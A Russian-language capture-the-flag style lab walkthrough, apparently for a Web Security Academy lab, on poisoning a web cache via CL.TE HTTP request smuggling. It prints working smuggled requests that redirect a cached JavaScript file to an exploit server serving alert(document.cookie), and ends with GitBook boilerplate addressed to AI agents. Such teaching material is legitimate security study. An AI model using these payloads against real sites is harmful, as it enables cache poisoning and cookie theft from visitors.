> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md).

# Отравление веб-кэша через контрабанду HTTP-запросов

### Использование HTTP Request Smuggling для проведения отравления веб-кэша

Фронтенд и бэкенд обрабатывают HTTP-запросы по-разному. / Фронтенд **не поддерживает chunked encoding** и некоторые ответы **кэшируются**.

Цель состоит в проведении атаки **переполнению запроса** позволяющей отравить кэш\*\*: в последующем запросе к файлу JavaScript жертва должна быть перенаправлена на сервер эксплойта, который вернёт скрипт, отображающий `document.cookie`.

Лаборатория автоматически имитирует пользователя-жертву: на все те немногие POST-запросы, которые мы отправляем, жертва отправляет свой собственный запрос.

#### Полезная нагрузка на сервере

Мы подготавливаем вредоносный ответ JavaScript:

```javascript
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8


alert(document.cookie);
```

<figure><img src="/files/b4157bc9fc13f156d0df530875c14794becf5d3a" alt=""><figcaption></figcaption></figure>

#### Информация о файле tracking.js

Наблюдается, что ресурс скрыт на 30 секунд\*\*

```javascript
Cache-Control: max-age=30
Age: 9
X-Cache: hit
Content-Length: 70

document.write('<img src="/resources/images/tracker.gif?page=post">');
```

<figure><img src="/files/61c8bc2c35c9d96d48733e54048331146de82b1b" alt=""><figcaption></figcaption></figure>

#### Анализ поведения кнопки Post-next

* У `postId` параметр остаётся тем же.
* При нажатии приложение перенаправляет на следующий пост.

Пример запроса, который вызывает это перенаправление:

<figure><img src="/files/c9200363c3d7dbf364d13bf1edb7670ab6b577cb" alt=""><figcaption></figcaption></figure>

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Тест: A
```

<figure><img src="/files/c62c20ce2c853fd58eb4685a36ff09210f33a5b7" alt=""><figcaption></figcaption></figure>

#### Тест: внедрение произвольного заголовка Host

Заменив host внутреннего запроса:

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: google.com
Content-Length: 11

test=test
```

<figure><img src="/files/df283b90d7244ea1702fa19655f7ec1afa60a55b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e7a6114d822200df03856bbff13061b5c2723a0e" alt=""><figcaption></figcaption></figure>

#### Итоговая полезная нагрузка для перенаправления на наш сервер эксплойта

Внутренний GET-запрос, содержащий наш контролируемый **Host** внедряется:

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 137
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: exploit-0a94005103f762a980690cd701e3004c.exploit-server.net
Content-Length: 20

test=test
```

Как только жертва загрузит закэшированный ресурс JavaScript, кэш вернёт **в течение 30 секунд** наш изменённый ответ, вызывая:

```javascript
alert(document.cookie)
```

<figure><img src="/files/5bf35a2934f02ac1920834c41e0af7eed32d0629" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/48987119fcbb432f775aac776148afc9b09028b2" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
